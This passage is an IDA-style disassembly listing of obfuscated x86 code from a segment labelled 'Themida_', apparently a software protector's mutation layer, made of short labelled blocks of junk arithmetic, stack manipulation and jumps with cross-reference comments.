--------------------------------------------------------------------------- loc_5A0C9F: ; CODE XREF: Themida_:005AC50Ej sub esi, 8E85FFE9h mov ebx, esi pop esi jmp loc_5A6E7A ; --------------------------------------------------------------------------- loc_5A0CAD: ; CODE XREF: Themida_:0059ACA3j push dword ptr [esp] mov ecx, [esp] push edx mov edx, esp add edx, 4 jmp loc_59C7C9 ; --------------------------------------------------------------------------- lodsb jmp loc_5A883F ; --------------------------------------------------------------------------- loc_5A0CC7: ; CODE XREF: Themida_:005A478Dj mov ecx, 0B2973A0h push edi mov edi, 1BF6411Eh add edi, 0F53DC723h mov eax, edi pop edi xor eax, ecx pop ecx sub esp, 4 mov [esp], edi mov edi, 0 sub edi, eax xchg eax, edi jmp loc_5AD1B5 ; --------------------------------------------------------------------------- loc_5A0CF1: ; CODE XREF: Themida_:005A7390j inc esi jmp loc_5AE7F1 ; --------------------------------------------------------------------------- loc_5A0CF7: ; CODE XREF: Themida_:005A910Cj mov ebp, 1D1A0CF4h xor ebp, ebx pop ebx sub [esp+4], ebp mov ebp, [esp] push ecx jmp loc_5A405D ; --------------------------------------------------------------------------- loc_5A0D0C: ; CODE XREF: Themida_:005AA26Ej xor ebx, [esp] pop esp add esi, 4 push edx mov edx, 4BBB4B83h shr edx, 3 shl edx, 5 jmp loc_5AF415 ; --------------------------------------------------------------------------- loc_5A0D27: ; CODE XREF: Themida_:005AE26Fj mov ecx, [esp] add esp, 4 push eax mov eax, 312F1C5Fh sub eax, 6218252h jmp loc_5A27D5 ; --------------------------------------------------------------------------- loc_5A0D40: ; CODE XREF: Themida_:00599538j sub esp, 4 mov [esp], ebx jmp loc_59950A ; --------------------------------------------------------------------------- loc_5A0D4E: ; CODE XREF: Themida_:0059D354j pop esp add eax, ebx push ebx push esi push 57F048CDh pop esi sub esi, 4820CB06h jmp loc_5ACAD0 ; --------------------------------------------------------------------------- loc_5A0D64: ; CODE XREF: Themida_:0059BDFAj mov ecx, [esp] add esp, 4 jmp loc_59C426 ; --------------------------------------------------------------------------- loc_5A0D6F: ; CODE XREF: Themida_:005AB495j inc bh push eax mov eax, esp jmp loc_5A896B ; --------------------------------------------------------------------------- loc_5A0D79: ; CODE XREF: Themida_:005A9048j pop eax jmp loc_5A87B0 ; --------------------------------------------------------------------------- loc_5A0D7F: ; CODE XREF: Themida_:0059B8DFj push esp pop ebp jmp loc_5A9793 ; --------------------------------------------------------------------------- loc_5A0D86: ; CODE XREF: Themida_:005A4582j add eax, 56A27872h add eax, esi sub eax, 56A27872h pop esi push 6053h mov [esp], eax push eax mov eax, 226E73DCh xor [esp+4], eax pop eax pop ebp jmp loc_59A6F8 ; --------------------------------------------------------------------------- loc_5A0DAC: ; CODE XREF: Themida_:0059A04Fj mov ecx, 2 add eax, ecx jmp loc_5A3544 ; --------------------------------------------------------------------------- loc_5A0DB8: ; CODE XREF: Themida_:005AE302j inc eax jmp loc_5A562A ; --------------------------------------------------------------------------- loc_5A0DBE: ; CODE XREF: Themida_:0059944Aj pop edx jmp loc_598584 ; --------------------------------------------------------------------------- loc_5A0DC4: ; CODE XREF: Themida_:005A3AFCj and eax, 6E370A4Bh jmp loc_5AA39F ; --------------------------------------------------------------------------- loc_5A0DCE: ; CODE XREF: Themida_:0059A41Bj add eax, 494674CCh mov esi, [esp] add esp, 4 push ebp jmp loc_5A0029 ; --------------------------------------------------------------------------- loc_5A0DDF: ; CODE XREF: Themida_:005ACE23j pop esp mov [esp], ebx mov ebx, esp jmp loc_5AA628 ; --------------------------------------------------------------------------- loc_5A0DEA: ; CODE XREF: Themida_:005AB40Cj sub esp, 4 mov [esp], edx jmp loc_59DF40 ; --------------------------------------------------------------------------- loc_5A0DF8: ; CODE XREF: Themida_:005A62CDj mov edx, [esp] jmp loc_5A40B2 ; --------------------------------------------------------------------------- loc_5A0E00: ; CODE XREF: Themida_:005A8C14j mov ecx, 469B2150h shl ecx, 5 shr ecx, 3 shl ecx, 5 xor ecx, 6D2D8926h or ebx, ecx jmp loc_59F927 ; --------------------------------------------------------------------------- loc_5A0E1B: ; CODE XREF: Themida_:005A7AB7j pop eax jmp loc_5A8926 ; --------------------------------------------------------------------------- loc_5A0E21: ; CODE XREF: Themida_:005AEFAAj not edx xchg edx, ebp sub ebp, 4D521BEAh add ebp, 79C201Dh xor ebp, 4683A6DEh sub edx, ebp jmp loc_5A8BAA ; --------------------------------------------------------------------------- loc_5A0E3E: ; CODE XREF: Themida_:005A3CB6j jmp loc_59838C ; --------------------------------------------------------------------------- loc_5A0E43: ; CODE XREF: Themida_:005ADF85j add ecx, 3419449Dh sub ecx, 413D1BCBh jmp loc_5AAA25 ; --------------------------------------------------------------------------- loc_5A0E54: ; CODE XREF: Themida_:0059AB76j jnz loc_59CC81 add ebp, 1837740Eh jl loc_598A1C push esi loc_5A0E67: ; CODE XREF: Themida_:005AD9D8j push esi jmp loc_5AB5D0 ; --------------------------------------------------------------------------- loc_5A0E6D: ; CODE XREF: Themida_:005AABBAj neg edi jbe loc_5A05B2 shr edi, 8 jp loc_598BC5 add edi, 1B748BEFh loc_5A0E84: ; CODE XREF: Themida_:005A4378j neg ebx jbe loc_5A60EB and ebx, 68BB541Dh jmp loc_59B09F ; --------------------------------------------------------------------------- mov ebx, esi pop esi loc_5A0E9A: ; CODE XREF: Themida_:005A9F7Ej push ecx mov ecx, esp jmp loc_5A479D ; --------------------------------------------------------------------------- loc_5A0EA2: ; CODE XREF: Themida_:005A31D3j not ecx push 53A5h mov [esp], ebx mov ebx, 5A657D99h xor ecx, ebx jmp loc_59A60A ; --------------------------------------------------------------------------- loc_5A0EB8: ; CODE XREF: Themida_:005A65DAj ; Themida_:005ABC96j add edx, 56D002BBh jmp loc_59A6B6 ; --------------------------------------------------------------------------- loc_5A0EC3: ; CODE XREF: Themida_:0059EC59j add ebx, ecx pop ecx sub ebx, 21F238B3h add ebx, ebp add ebx, 21F238B3h sub ebx, 24045320h mov ebp, [esp] add esp, 4 jmp loc_59F7A4 ; --------------------------------------------------------------------------- loc_5A0EE8: ; CODE XREF: Themida_:005A4CAFj mov [esp], edx push eax pushf jmp loc_59838C ; --------------------------------------------------------------------------- loc_5A0EF2: ; CODE XREF: Themida_:00599EC9j sub esp, 4 mov [esp], esp add dword ptr [esp], 4 jmp loc_5A1BD2 ; --------------------------------------------------------------------------- loc_5A0F04: ; CODE XREF: Themida_:005A89EFj add esp, 4 movzx eax, al pop small word ptr [edi+eax*4] jmp loc_59838C ; --------------------------------------------------------------------------- loc_5A0F16: ; CODE XREF: Themida_:0059F56Dj add ecx, edx pop edx push eax mov eax, 580E1CA5h sub ecx, 5ADF18C3h sub ecx, eax add ecx, 5ADF18C3h jmp loc_59B033 ; --------------------------------------------------------------------------- loc_5A0F32: ; CODE XREF: Themida_:loc_59F510j and ebx, 11D108BBh jle loc_5AEF31 sub ebx, 1000C09Bh and eax, ebx push dword ptr [esp] pop ebx jmp loc_5AE121 ; --------------------------------------------------------------------------- loc_5A0F4F: ; CODE XREF: Themida_:0059B3BBj pop ebp add eax, edi add eax, 731926F3h sub eax, 122D24E4h jmp loc_5A11E3 ; --------------------------------------------------------------------------- loc_5A0F61: ; CODE XREF: Themida_:005A486Fj push 65B4h mov [esp], edx jmp loc_59DBDB ; --------------------------------------------------------------------------- loc_5A0F6E: ; CODE XREF: Themida_:005A9FB6j not esi push ebx mov ebx, 0FF7FFEF9h xor esi, ebx mov ebx, [esp] add esp, 4 mov ecx, esi pop esi add ebp, ecx pop ecx xchg ebp, [esp] jmp loc_5AD210 ; --------------------------------------------------------------------------- loc_5A0F8C: ; CODE XREF: Themida_:005ABF5Fj xor eax, 1B8A5385h mov edi, eax pop eax shl edi, 1 sub edi, 46D13434h add esi, edi jmp loc_59EF24 ; --------------------------------------------------------------------------- loc_5A0FA3: ; CODE XREF: Themida_:005989FEj pop esp add ebp, 4 xchg ebp, [esp] jmp loc_5A4A0C ; --------------------------------------------------------------------------- loc_5A0FAF: ; CODE XREF: Themida_:0059E154j push ax mov al, 7Fh jmp loc_5A067F ; --------------------------------------------------------------------------- loc_5A0FB8: ; CODE XREF: Themida_:0059BC0Ej shr ebp, 7 sub ebp, 0FFFFFFFFh add ebp, 67A722BCh sub ebp, 68A641B2h add ecx, ebp pop ebp jmp loc_5ACEF5 ; --------------------------------------------------------------------------- loc_5A0FD5: ; CODE XREF: Themida_:005A1365j add ecx, 2 xchg ecx, [esp] mov esp, [esp] div cl movzx cx, ah push small 5121h mov [esp], cx jmp loc_5AC45B ; --------------------------------------------------------------------------- loc_5A0FF4: ; CODE XREF: Themida_:005AC215j add eax, 4 add eax, 4 jmp loc_5A6BD4 ; --------------------------------------------------------------------------- loc_5A1001: ; CODE XREF: Themida_:005A40D8j mov al, 7Eh push 1DEAh mov [esp], ecx jmp loc_5A26BC ; --------------------------------------------------------------------------- loc_5A1010: ; CODE XREF: Themida_:005AADF3j mov ebp, 45D15DF8h sub ecx, ebp pop ebp add ecx, 7E30678Eh jmp loc_59B465 ; --------------------------------------------------------------------------- loc_5A1023: ; CODE XREF: Themida_:005A6F88j mov [esp], esp push esi mov esi, 4 add [esp+4], esi pop esi jmp loc_5A6AA6 ; --------------------------------------------------------------------------- loc_5A1036: ; CODE XREF: Themida_:005A53C7j push 2803h jmp loc_5A4E4F ; --------------------------------------------------------------------------- loc_5A1040: ; CODE XREF: Themida_:005AC0EFj mov esi, [esp] add esp, 4 add ebx, 3D0669E3h push edi mov edi, 0B8C52F8h jmp loc_5A253B ; --------------------------------------------------------------------------- loc_5A1057: ; CODE XREF: Themida_:0059E1A9j ; Themida_:005A26FDj mov esp, [esp] or [esp], eax pushf jmp loc_59838C ; --------------------------------------------------------------------------- loc_5A1063: ; CODE XREF: Themida_:005A099Cj sub esp, 4 mov [esp], esi mov esi, 4 jmp loc_59DC5B ; --------------------------------------------------------------------------- loc_5A1076: ; CODE XREF: Themida_:0059D16Ej jmp loc_59B394 ; --------------------------------------------------------------------------- loc_5A107B: ; CODE XREF: Themida_:005A8562j push edi mov edi, 38616C74h add eax, edi pop edi push dword ptr [esp] jmp loc_59F625 ; --------------------------------------------------------------------------- loc_5A108C: ; CODE XREF: Themida_:005ACAD2j pop esi add ebx, 0FFFFFFFFh push esi mov esi, 24CE586Fh or ebx, esi pop esi add ebx, 0BF6FF7Ah sub eax, ebx jmp loc_5AD5A5 ; --------------------------------------------------------------------------- loc_5A10A9: ; CODE XREF: Themida_:005A3F48j push edx sub esp, 4 mov [esp], esp push ebx mov ebx, 4 jmp loc_5991ED ; --------------------------------------------------------------------------- loc_5A10BB: ; CODE XREF: Themida_:0059A750j add esi, 962DF81Dh jmp loc_5ABE4E ; --------------------------------------------------------------------------- mov cx, [esp] push 6B82h mov [esp], ebp mov ebp, esp push 1918h mov [esp], ecx mov ecx, 20D80287h shr ecx, 1 shr ecx, 7 jmp loc_5AC287 ; --------------------------------------------------------------------------- loc_5A10EB: ; CODE XREF: Themida_:loc_5AF311j push ebx jmp loc_5A50C9 ; --------------------------------------------------------------------------- loc_5A10F1: ; CODE XREF: Themida_:005A4987j pop ebx dec dl not dl sub dl, 7Fh add al, dl pop edx jmp loc_5A3A8F ; --------------------------------------------------------------------------- loc_5A1101: ; CODE XREF: Themida_:005A5C61j pop edi push edx mov edx, esp add edx, 4 add edx, 4 xchg edx, [esp] jmp loc_5A6A12 ; --------------------------------------------------------------------------- loc_5A1116: ; CODE XREF: Themida_:005A3755j mov ecx, 4 jmp loc_5AB2BA ; --------------------------------------------------------------------------- loc_5A1120: ; CODE XREF: Themida_:005ADE9Ej shr ebx, 4 jnz loc_59C74D jmp loc_59B033 ; --------------------------------------------------------------------------- mov [esp], ebx push edx mov edx, esp push esp loc_5A1135: ; CODE XREF: Themida_:0059D91Cj add esp, 4 add ebp, ebx push ebx mov ebx, 16164372h push eax jmp loc_598B0A ; --------------------------------------------------------------------------- loc_5A1149: ; CODE XREF: Themida_:005A2596j xor ecx, esi pop esi neg ecx inc ecx dec ecx sub ecx, 372F84F6h sub edx, ecx pop ecx add edx, edi add edx, 6AFB43E6h pop edi add edx, 4 xchg edx, [esp] pop esp push eax push esp pop eax add eax, 4 push ecx jmp loc_59D432 ; --------------------------------------------------------------------------- loc_5A117A: ; CODE XREF: Themida_:0059B26Cj pop esp jmp loc_59838C ; --------------------------------------------------------------------------- loc_5A1180: ; CODE XREF: Themida_:0059AD5Ej dec cl xor cl, 0CCh push ecx mov ch, 64h dec ch dec ch jmp loc_59EFF0 ; --------------------------------------------------------------------------- loc_5A1191: ; CODE XREF: Themida_:005A7C8Aj add edx, 0EFA7DE0h jnz loc_5A4A06 inc edx jmp loc_5A4E59 ; --------------------------------------------------------------------------- pop esp add eax, ecx pop eax loc_5A11A7: ; CODE XREF: Themida_:005995DAj xchg eax, ecx jmp loc_5AEF41 ; --------------------------------------------------------------------------- loc_5A11AD: ; CODE XREF: Themida_:0059A288j add eax, ecx pop ecx shr eax, 6 neg eax neg eax shr eax, 2 xchg eax, esi jmp loc_59CBDA ; --------------------------------------------------------------------------- loc_5A11C0: ; CODE XREF: Themida_:0059D411j mov [esp], ebp sub esp, 4 mov [esp], eax push 22C96EF5h mov eax, [esp] jmp loc_5A247B ; --------------------------------------------------------------------------- loc_5A11D6: ; CODE XREF: Themida_:loc_5A1652j sub edi, 0E1FB5E3Dh mov edx, edi jmp loc_5A4CB4 ; --------------------------------------------------------------------------- loc_5A11E3: ; CODE XREF: Themida_:005A0F5Cj push dword ptr [esp] mov edi, [esp] add esp, 4 add esp, 4 push eax push dword ptr [esp+4] push dword ptr [esp] pop eax add esp, 4 pop dword ptr [esp] mov esp, [esp] test ecx, eax pushf jmp loc_59838C ; --------------------------------------------------------------------------- loc_5A120C: ; CODE XREF: Themida_:00598F6Cj mov cl, 0FAh and cl, 94h shl cl, 1 sub cl, 34h xor cl, 43h jmp loc_5ADCE5 ; --------------------------------------------------------------------------- loc_5A121E: ; CODE XREF: Themida_:005A1C73j mov dh, 0EDh jmp loc_5A5EF7 ; --------------------------------------------------------------------------- mov cx, [esp] sub esp, 4 jmp loc_5A7FF9 ; --------------------------------------------------------------------------- loc_5A1234: ; CODE XREF: Themida_:005AAB59j xchg edx, [esp] pop esp sub al, cl mov cx, [esp] add esp, 2 sub al, 0A1h push small 41C2h mov [esp], bx push 58B9h jmp loc_5A40CD ; --------------------------------------------------------------------------- loc_5A1255: ; CODE XREF: Themida_:005A8BDAj inc ch jge loc_5ABBEB inc ch jnp loc_5AA8C2 mov dh, bh mov ebx, ebx loc_5A1269: ; CODE XREF: Themida_:loc_59C93Fj jmp loc_5A8397 ; --------------------------------------------------------------------------- loc_5A126E: ; CODE XREF: Themida_:0059A73Fj and [edi+1Ch], ebx mov ebx, [esp] add esp, 4 jmp loc_5A36FE ; --------------------------------------------------------------------------- loc_5A127F: ; CODE XREF: Themida_:0059E18Cj ; Themida_:005A1FC8j or eax, 3C1B7417h xor eax, 6ED4B40h jmp loc_5AAB1B ; --------------------------------------------------------------------------- loc_5A128E: ; CODE XREF: Themida_:005AB4A6j add esp, 4 pop dword ptr [esp] mov esp, [esp] mov [esp], ebp push edx mov edx, 2FCF1890h push edi push esp pop edi push ebx mov ebx, 6ACC206Bh shl ebx, 1 xor ebx, 5D4037E3h xor ebx, 88D87731h add edi, ebx mov ebx, [esp] add esp, 4 sub edi, 4 xchg edi, [esp] pop esp mov [esp], esi jmp loc_59FF3B ; --------------------------------------------------------------------------- loc_5A12D1: ; CODE XREF: Themida_:005ADAC8j pop ebx pop eax push 66BCh mov [esp], ecx mov ecx, 43B6398Fh jmp loc_5A775C ; --------------------------------------------------------------------------- loc_5A12E5: ; CODE XREF: Themida_:005A6FEDj ; Themida_:005AB0EAj push edi mov edi, ecx jmp loc_599607 ; --------------------------------------------------------------------------- loc_5A12ED: ; CODE XREF: Themida_:005A4FBBj pop esp jmp loc_5A8692 ; --------------------------------------------------------------------------- loc_5A12F3: ; CODE XREF: Themida_:0059ABD8j and ch, 0C7h add ch, 0F0h dec ch jmp loc_59E14C ; --------------------------------------------------------------------------- loc_5A1300: ; CODE XREF: Themida_:005A30A8j or ch, 30h xor ch, 45h sub al, ch pop ecx jmp loc_599B7D ; --------------------------------------------------------------------------- loc_5A130E: ; CODE XREF: Themida_:0059F7F8j jmp loc_59838C ; --------------------------------------------------------------------------- loc_5A1313: ; CODE XREF: Themida_:005A8EBFj mov eax, [esp] add esp, 4 add edx, edi mov edi, [esp] add esp, 4 jmp loc_598EAF ; --------------------------------------------------------------------------- loc_5A132C: ; CODE XREF: Themida_:005ADA8Ej mov ebx, 5AB17492h xor ebx, esi pop esi sub esi, ebx pop ebx jmp loc_59D0EC ; --------------------------------------------------------------------------- loc_5A133C: ; CODE XREF: Themida_:005AE8B0j pop esi sub ebx, 4 xchg ebx, [esp] jmp loc_59F3C6 ; --------------------------------------------------------------------------- loc_5A134B: ; CODE XREF: Themida_:005A9D06j sub esp, 4 mov [esp], ecx jmp loc_5AA90C ; --------------------------------------------------------------------------- loc_5A1356: ; CODE XREF: Themida_:0059C474j ; Themida_:005A235Cj pop esi push ebp mov ebp, 2A52E52h jmp loc_59D38C ; --------------------------------------------------------------------------- loc_5A1362: ; CODE XREF: Themida_:0059C584j add ecx, ebp pop ebp jmp loc_5A0FD5 ; --------------------------------------------------------------------------- loc_5A136A: ; CODE XREF: Themida_:005A010Fj mov edi, [esp] add esp, 4 jmp loc_5A9D03 ; --------------------------------------------------------------------------- loc_5A1375: ; CODE XREF: Themida_:005A05D9j sub edx, edi pop edi add edx, 563E0ACDh push esi mov esi, esp add esi, 4 sub esi, 4 jmp loc_5ABFDC ; --------------------------------------------------------------------------- loc_5A138F: ; CODE XREF: Themida_:005AC95Cj ; Themida_:005AE905j imul ecx jmp loc_5A76BE ; --------------------------------------------------------------------------- loc_5A1396: ; CODE XREF: Themida_:005A9C96j shr ecx, 4 js loc_5A2534 and ecx, 3E0D1955h dec ecx jmp loc_5A471B ; --------------------------------------------------------------------------- loc_5A13AB: ; CODE XREF: Themida_:005A34CAj push edi push dword ptr [esp+4] push dword ptr [esp] pop edi add esp, 4 pop dword ptr [esp] jmp loc_5AB4AB ; --------------------------------------------------------------------------- loc_5A13BF: ; CODE XREF: Themida_:0059A78Fj mov eax, [ecx] push dword ptr [esp] pop ecx jmp loc_598CD9 ; --------------------------------------------------------------------------- loc_5A13CA: ; CODE XREF: Themida_:005A71C9j xchg ebx, edx push ebx jmp loc_5AD440 ; --------------------------------------------------------------------------- loc_5A13D2: ; CODE XREF: Themida_:0059A20Fj ; Themida_:005A195Bj ... push 4B0Ch jmp loc_59BEA6 ; --------------------------------------------------------------------------- loc_5A13DC: ; CODE XREF: Themida_:005A55D5j xor ebp, 22062963h inc ebp jmp loc_5A0C67 ; --------------------------------------------------------------------------- loc_5A13E8: ; CODE XREF: Themida_:005AE213j mov ecx, [esp] add esp, 4 xchg eax, [esp] jmp loc_59A53E ; --------------------------------------------------------------------------- loc_5A13F9: ; CODE XREF: Themida_:005A6A8Dj add eax, 4 xchg eax, [esp] jmp loc_5A1E01 ; --------------------------------------------------------------------------- loc_5A1406: ; CODE XREF: Themida_:0059A027j ; Themida_:005ADBFAj pop ebp jmp loc_5AA856 ; --------------------------------------------------------------------------- loc_5A140C: ; CODE XREF: Themida_:005A6066j ; Themida_:005A9910j ... add al, 85h and al, 9Eh jmp loc_5AC8F3 ; --------------------------------------------------------------------------- loc_5A1415: ; CODE XREF: Themida_:005AD354j pop esp or edx, eax shl edx, 1 push ebx mov ebx, 7B151069h push edx push 2255h mov [esp], edi push 1B4A617Eh mov edi, [esp] add esp, 4 dec edi jnz loc_5A1652 jmp loc_5ACFD9 ; --------------------------------------------------------------------------- sub dl, 51h or dl, 0D7h inc dl inc dl loc_5A144A: ; CODE XREF: Themida_:005A2B34j sub eax, 4 xchg eax, [esp] pop esp mov [esp], edx mov edx, 78E4A62h push ebp jmp loc_5A60DE ; --------------------------------------------------------------------------- loc_5A145F: ; CODE XREF: Themida_:0059EE42j mov ecx, 4 add edx, ecx pop ecx push ebp mov ebp, 2 sub edx, 1A9E3C29h jmp loc_5A7489 ; --------------------------------------------------------------------------- loc_5A1478: ; CODE XREF: Themida_:005A4123j and eax, edx mov edx, [esp] add esp, 4 jmp loc_59EA2D ; --------------------------------------------------------------------------- loc_5A1485: ; CODE XREF: Themida_:0059C7A4j pop esp jmp loc_598D08 ; --------------------------------------------------------------------------- loc_5A148B: ; CODE XREF: Themida_:005A76ECj ; Themida_:005A78ABj push 551Dh mov [esp], ebx push edi mov edi, 3A51FCEh mov ebx, 3E2E5BABh xor ebx, edi jmp loc_5A51CA ; --------------------------------------------------------------------------- loc_5A14A5: ; CODE XREF: Themida_:0059CF7Cj shr ebx, 5 jmp loc_5AEF95 ; --------------------------------------------------------------------------- push dword ptr [esp] push dword ptr [esp] mov eax, [esp] add esp, 4 push esi mov esi, esp jmp loc_5ACEC7 ; --------------------------------------------------------------------------- loc_5A14C1: ; CODE XREF: Themida_:0059BC63j sub ebx, eax jmp loc_5A339E ; --------------------------------------------------------------------------- loc_5A14C8: ; CODE XREF: Themida_:005A03AFj add edx, eax sub edx, 5B475644h sub edx, 3E587587h push esi mov esi, 7DC6FA4h push 53D6h mov [esp], edi push 5AFDh mov [esp], edx push ebp push 17BB43B0h mov ebp, [esp] add esp, 4 and ebp, 59412548h jmp loc_59D9E1 ; --------------------------------------------------------------------------- loc_5A1506: ; CODE XREF: Themida_:005A808Bj shr cl, 1 push ebx mov bh, 88h or bh, 0CCh push dx mov dh, bh not dh mov bh, dh pop dx sub bh, 2Ah xor cl, bh pop ebx push eax jmp loc_5998A0 ; --------------------------------------------------------------------------- loc_5A1524: ; CODE XREF: Themida_:005A71D1j mov [esp], edx push esi jmp loc_598D9F ; --------------------------------------------------------------------------- loc_5A152D: ; CODE XREF: Themida_:005A3CF2j sub al, 90h jg loc_59BBA4 xor al, 89h jnp loc_5A6975 or ah, 29h loc_5A1540: ; CODE XREF: Themida_:005AA1E1j push eax mov ah, 10h or ah, 6 jmp loc_5AF275 ; --------------------------------------------------------------------------- loc_5A154B: ; CODE XREF: Themida_:005A01BDj mov esp, [esp] mov [esp], ecx mov ecx, esp add ecx, 4 push ecx jmp loc_59E3E8 ; --------------------------------------------------------------------------- loc_5A155F: ; CODE XREF: Themida_:0059C4FEj mov edi, [esp] jmp loc_5A0C8B ; --------------------------------------------------------------------------- loc_5A1567: ; CODE XREF: Themida_:0059DA20j mov edx, [esp] push 1EA1h mov [esp], edi mov edi, esp add edi, 4 sub esp, 4 mov [esp], esi mov esi, 203F2153h add esi, 6ACD2DDCh add esi, 66CA0205h or esi, 6DA054A4h push eax mov eax, 4D84563Dh jmp loc_599AF4 ; --------------------------------------------------------------------------- loc_5A15A2: ; CODE XREF: Themida_:0059D0A5j mov edx, 8C06801Ah jmp loc_59A567 ; --------------------------------------------------------------------------- loc_5A15AC: ; CODE XREF: Themida_:0059B3CAj push ebx jmp loc_5A2504 ; --------------------------------------------------------------------------- loc_5A15B2: ; CODE XREF: Themida_:005A1D94j or ah, 51h jo loc_59CA0C push ecx jmp loc_5A718A ; --------------------------------------------------------------------------- loc_5A15C1: ; CODE XREF: Themida_:005A9387j mov esp, [esp] jmp loc_59D5B8 ; --------------------------------------------------------------------------- loc_5A15C9: ; CODE XREF: Themida_:005ACD23j shr eax, 8 not eax xor eax, 99A14431h push eax xor dword ptr [esp], 651B092Dh jmp loc_5A7E48 ; --------------------------------------------------------------------------- loc_5A15E0: ; CODE XREF: Themida_:005A1D14j pop edx pop dword ptr [esp] mov esp, [esp] jmp loc_59F1C3 ; --------------------------------------------------------------------------- loc_5A15EC: ; CODE XREF: Themida_:0059932Fj add al, dh jmp loc_5ADF2A ; --------------------------------------------------------------------------- loc_5A15F3: ; CODE XREF: Themida_:0059FCC0j ; Themida_:005A2F36j mov [esp], eax mov eax, esp jmp loc_5A32F5 ; --------------------------------------------------------------------------- loc_5A15FD: ; CODE XREF: Themida_:005A6167j add dh, 0BEh add dh, 0FDh jmp loc_5AD686 ; --------------------------------------------------------------------------- loc_5A1608: ; CODE XREF: Themida_:005AE430j add edi, 4 jmp loc_59C365 ; --------------------------------------------------------------------------- push dword ptr [edi+2Ch] jmp loc_5AB65F ; --------------------------------------------------------------------------- loc_5A161B: ; CODE XREF: Themida_:005A6342j jo loc_59EA97 xor ecx, 70EB0E1Ah push ecx pop edi pop ecx shr edi, 6 shl edi, 4 not edi sub edi, 0DA0AE021h jmp loc_59BE79 ; --------------------------------------------------------------------------- loc_5A163D: ; CODE XREF: Themida_:005AD328j mov [esp], ecx push ebx mov ebx, 0A845718h jmp loc_5ACF88 ; --------------------------------------------------------------------------- loc_5A164B: ; CODE XREF: Themida_:005AE7E6j add edx, ecx jmp loc_5A3BFA ; --------------------------------------------------------------------------- loc_5A1652: ; CODE XREF: Themida_:005A1435j ; Themida_:005AA29Dj jmp loc_5A11D6 ; --------------------------------------------------------------------------- loc_5A1657: ; CODE XREF: Themida_:0059CB6Aj sub dl, 51h or dl, 0D7h inc dl inc dl push ecx mov cl, 6Bh xor cl, 67h jmp loc_5A6285 ; --------------------------------------------------------------------------- loc_5A166C: ; CODE XREF: Themida_:005A919Cj push esi mov esi, esp add esi, 4 add esi, 4 xchg esi, [esp] jmp loc_5A4C04 ; --------------------------------------------------------------------------- loc_5A1680: ; CODE XREF: Themida_:005A39AAj add dword ptr [esp], 4 pop esi add esi, 4 push edi mov edi, 4 add esi, edi pop edi push esi push dword ptr [esp+4] pop esi pop dword ptr [esp] mov esp, [esp] jmp loc_59838C ; --------------------------------------------------------------------------- loc_5A16A8: ; CODE XREF: Themida_:0059F131j add ebx, 4 xchg ebx, [esp] jmp loc_5A3DEE ; --------------------------------------------------------------------------- loc_5A16B3: ; CODE XREF: Themida_:005988ECj pop esp push ebx push esp pop ebx add ebx, 4 add ebx, 4 xchg ebx, [esp] mov esp, [esp] push dword ptr [esp] mov eax, [esp] push ecx push 6547h push esp pop dword ptr [esp] add dword ptr [esp], 4 pop ecx sub esp, 4 mov [esp], ebp jmp loc_59D008 ; --------------------------------------------------------------------------- loc_5A16E9: ; CODE XREF: Themida_:0059D077j add ebx, 40DD013Dh jns loc_598C07 not ebx jmp loc_5AF205 ; --------------------------------------------------------------------------- xor ecx, [esp] and al, 2Bh loc_5A1701: ; CODE XREF: Themida_:005AAF44j mov [esp], esp add dword ptr [esp], 4 push dword ptr [esp] pop edi add esp, 4 add edi, 4 sub esp, 4 mov [esp], esi push eax mov eax, 53A3469Fh xor eax, 59FF336Dh jle loc_59B705 shl eax, 2 jnp loc_5A713C neg eax jmp loc_5A3ED3 ; --------------------------------------------------------------------------- mov bl, ch push esi loc_5A1745: ; CODE XREF: Themida_:005AC3EAj sub ebx, 4 xchg ebx, [esp] pop esp mov [esp], edx mov edx, eax push edx add dword ptr [esp], 4B0074ABh pop ebx sub ebx, 4B0074ABh jmp loc_59FEB8 ; --------------------------------------------------------------------------- loc_5A1765: ; CODE XREF: Themida_:005AC07Dj xor [esp], edx xor edx, [esp] pop esp add esp, 4 mov ecx, [esp] push eax push esp pop eax jmp loc_5A5F2F ; --------------------------------------------------------------------------- loc_5A177D: ; CODE XREF: Themida_:005AE1F1j mov edx, 6E765D0Fh sub edi, edx pop edx jmp loc_59A5C3 ; --------------------------------------------------------------------------- loc_5A178A: ; CODE XREF: Themida_:005AB2F4j pop esp jmp loc_5A5AC9 ; --------------------------------------------------------------------------- loc_5A1790: ; CODE XREF: Themida_:0059A1B2j sub ebx, ebp pop ebp add ebx, 158E7EFBh jmp loc_598611 ; --------------------------------------------------------------------------- loc_5A179E: ; CODE XREF: Themida_:005A1B85j neg edi shr edi, 3 shr edi, 8 not edi jmp loc_598A2E ; --------------------------------------------------------------------------- loc_5A17AD: ; CODE XREF: Themida_:005AB238j or eax, 4BC45546h jmp loc_59FABB ; --------------------------------------------------------------------------- loc_5A17B7: ; CODE XREF: Themida_:0059EF98j push 3A92h mov [esp], ebp mov ebp, esp push esi jmp loc_59E1AE ; --------------------------------------------------------------------------- loc_5A17C7: ; CODE XREF: Themida_:loc_59C46Bj xor cl, 5Ah jnp loc_5A4C36 sub esp, 4 mov [esp], eax push eax loc_5A17DA: ; CODE XREF: Themida_:005A5A2Dj jns loc_5989C7 sub esp, 4 mov [esp], edi push ebx push 64C1h mov [esp], ecx loc_5A17EF: ; CODE XREF: Themida_:005A0832j pop edi push ecx mov ecx, 53E41CC0h jmp loc_59E263 ; --------------------------------------------------------------------------- loc_5A17FB: ; CODE XREF: Themida_:00598B47j mov [esp], bx sub esp, 4 mov [esp], edi push esp pop edi push edx jmp loc_5A68A5 ; --------------------------------------------------------------------------- loc_5A180D: ; CODE XREF: Themida_:0059F782j add esp, 4 sub esp, 4 mov [esp], esi sub dword ptr [esp], 55CD2E16h mov edi, [esp] push 0D67h mov [esp], ebx jmp loc_5A7D3D ; --------------------------------------------------------------------------- loc_5A182D: ; CODE XREF: Themida_:005AF32Aj mov [esp], ebx jmp loc_5A2242 ; --------------------------------------------------------------------------- loc_5A1835: ; CODE XREF: Themida_:005AEFE8j add edx, 59AE39A4h push ecx mov ecx, 72726F1h add edx, 17810C2Fh add edx, ecx jmp loc_59983F ; --------------------------------------------------------------------------- loc_5A184E: ; CODE XREF: Themida_:0059A795j add bl, 0B4h add bl, 3Ch movzx eax, al jmp loc_5AF4EB ; --------------------------------------------------------------------------- loc_5A185C: ; CODE XREF: Themida_:005ADCFBj add bl, ah add bl, 0CDh mov eax, [esp] add esp, 4 sub bl, 0C3h add bl, al add bl, 0C3h push ecx mov ch, 0BBh sub esp, 2 mov [esp], bx mov bl, 51h xor ch, bl pop bx sub bl, ch pop ecx jmp 